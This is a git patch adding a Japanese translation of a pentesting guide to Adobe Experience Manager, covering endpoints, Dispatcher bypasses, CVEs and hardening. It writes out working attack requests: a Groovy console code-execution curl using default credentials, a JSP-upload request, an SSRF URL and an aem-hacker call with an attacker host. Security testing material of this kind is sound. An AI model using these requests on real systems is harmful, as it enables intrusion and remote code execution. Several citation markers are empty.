From 0493deec08c452465b96cba2f23406cbf4311213 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 30 Jul 2025 12:13:30 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-web/aem-adobe-ex --- .../aem-adobe-experience-cloud.md | 118 +++++++++++++++++- 1 file changed, 115 insertions(+), 3 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md b/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md index 85301eb35..0f288c909 100644 --- a/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md +++ b/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md @@ -1,5 +1,117 @@ -{{#include ../../banners/hacktricks-training.md}} - -脆弱性と設定ミスを見つけるには [https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker) +# AEM (Adobe Experience Manager) Pentesting {{#include ../../banners/hacktricks-training.md}} + +> Adobe Experience Manager (AEM, part of the Adobe Experience Cloud) は、Apache Sling/Felix (OSGi) と Java Content Repository (JCR) の上で動作するエンタープライズCMSです。 +> 攻撃者の視点から見ると、AEMインスタンスは非常に頻繁に危険な開発エンドポイント、弱いDispatcherルール、デフォルトの認証情報、そして四半期ごとにパッチが適用される長いCVEのリストを露出します。 + +以下のチェックリストは、実際のエンゲージメントで繰り返し現れる**外部からアクセス可能な(認証なしの)攻撃面**に焦点を当てています(2022-2025)。 + +--- + +## 1. Fingerprinting +``` +$ curl -s -I https://target | egrep -i "aem|sling|cq" +X-Content-Type-Options: nosniff +X-Dispatcher: hu1 # header added by AEM Dispatcher +X-Vary: Accept-Encoding +``` +他の迅速な指標: +* `/etc.clientlibs/` 静的パスが存在(JS/CSSを返す)。 +* `/libs/granite/core/content/login.html` 「Adobe Experience Manager」バナー付きのログインページ。 +* `` HTMLの下部にあるコメント。 + +--- + +## 2. 高価値の未認証エンドポイント + +パス | 取得できるもの | ノート +---- | ------------- | ----- +`/.json`, `/.1.json` | **DefaultGetServlet**を介したJCRノード | よくブロックされるが、*Dispatcherバイパス*(下記参照)が機能する。 +`/bin/querybuilder.json?path=/` | QueryBuilder API | ページツリー、内部パス、ユーザー名の漏洩。 +`/system/console/status-*`, `/system/console/bundles` | OSGi/Felixコンソール | デフォルトで403; もし公開され、クレデンシャルが見つかれば⇒ バンドルアップロードRCE。 +`/crx/packmgr/index.jsp` | パッケージマネージャー | 認証されたコンテンツパッケージを許可→ JSPペイロードのアップロード。 +`/etc/groovyconsole/**` | AEM Groovyコンソール | もし公開されれば→ 任意のGroovy / Java実行。 +`/libs/cq/AuditlogSearchServlet.json` | 監査ログ | 情報漏洩。 +`/libs/cq/ui/content/dumplibs.html` | ClientLibsダンプ | XSSベクター。 + +### Dispatcherバイパスのトリック +ほとんどのプロダクションサイトは*Dispatcher*(リバースプロキシ)の背後にあります。そのフィルタールールは、許可された静的拡張子を**セミコロンまたはエンコードされた改行の後に追加すること**でバイパスできます: +``` +GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1 +``` +単一のリクエストは、ユーザープロファイルノードとメールアドレスを頻繁に開示します。P-T Partnersはこの脆弱性に関する良いガイダンスを公開しました。 【】 + +--- + +## 3. 一般的な誤設定(2025年にも生き残っている) + +1. **匿名POSTサーブレット** – `POST /.json`で`:operation=import`を使用すると、新しいJCRノードを植え付けることができます。Dispatcherで`*.json`のPOSTをブロックすることで修正できます。 【】 +2. **世界中から読み取り可能なユーザープロファイル** – デフォルトのACLは`/home/users/**/profile/*`に対して`jcr:read`を全員に付与します。 +3. **デフォルトの資格情報** – `admin:admin`、`author:author`、`replication:replication`。 +4. **WCMDebugFilter**が有効 ⇒ `?debug=layout`を介した反射型XSS(CVE-2016-7882、レガシー6.4インストールでまだ見つかる)。 +5. **Groovyコンソールが公開** – Groovyスクリプトを送信することでリモートコード実行: +```bash +curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json +``` + +--- + +## 4. 最近の脆弱性(サービスパックのサイクル) + +四半期 | CVE | 影響を受ける | 影響 +------- | --- | -------- | ------ +2024年12月 | **CVE-2024-43711** | 6.5.21以前 | 不適切な入力検証 → **任意のコード実行**(低権限の認証が必要)。 【】 +2024年12月 | CVE-2024-43724/26 | 6.5.21以前 | Move Page WizardにおけるDOM / ストレージ型XSS。 【】 +2023年12月 | CVE-2023-48452/68 | ≤ 6.5.18 | 作成されたURLを介したDOMベースのXSS。 【】 +2022年12月 | CVE-2022-30683 | ≤ 6.5.13 | 暗号設計の欠陥 → 秘密の復号(低権限の資格情報が必要)。 【】 + +常に顧客のサービスパックに一致する*APSB*の公告を確認し、最新の**6.5.22**または*Cloud Service 2024.11*をリクエストしてください。 + +--- + +## 5. 悪用スニペット + +### 5.1 DispatcherバイパスによるRCE + JSPアップロード +匿名書き込みが可能な場合: +``` +# 1. Create a node that will become /content/evil.jsp +POST /content/evil.jsp;%0aa.css HTTP/1.1 +Content-Type: application/x-www-form-urlencoded + +:contentType=text/plain +jcr:data=<% out.println("pwned"); %> +:operation=import +``` +Now request `/content/evil.jsp` – JSPはAEMプロセスユーザーで実行されます。 + +### 5.2 SSRFからRCEへの攻撃(歴史的 < 6.3) +`/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console` +`aem_ssrf2rce.py`は**aem-hacker**からフルチェーンを自動化します。 【】 + +--- + +## 6. ツール + +* **aem-hacker** – スイスアーミーナイフの列挙スクリプト、ディスパッチャーバイパス、SSRF検出、デフォルトクレデンシャルチェックなどをサポートします。 +```bash +python3 aem_hacker.py -u https://target --host attacker-ip +```【】 +* **コンテンツブルートフォース** – 隠れたコンポーネントを発見するために`/_jcr_content.(json|html)`を再帰的にリクエストします。 +* **osgi-infect** – クレデンシャルが利用可能な場合、`/system/console/bundles`を介して悪意のあるOSGiバンドルをアップロードします。 + +--- + +## 7. ハードニングチェックリスト(レポートの推奨事項用) + +1. インスタンスを**最新の累積サービスパック**(2025年7月現在:6.5.22)に保つ。 +2. デフォルトアカウントを削除/ローテーションし、SSO/SAMLを強制する。 +3. **ディスパッチャーフィルター**を厳格にし、匿名ユーザーに対して`;`、エンコードされた改行、`*.json`または`*.querybuilder.json`を拒否する。 +4. コンソール(`/system/console`、`/crx/*`、`/etc/groovyconsole`)をIP許可リストで無効化または保護する。 +5. Adobeが提供する*匿名権限ハードニング*パッケージを適用する。 + +## 参考文献 + +* Adobe Security Bulletin APSB24-69 – “Adobe Experience Managerのセキュリティ更新(2024年12月)”。 +* 0ang3el – aem-hackerツール(GitHub)。 +{{#include ../../banners/hacktricks-training.md}}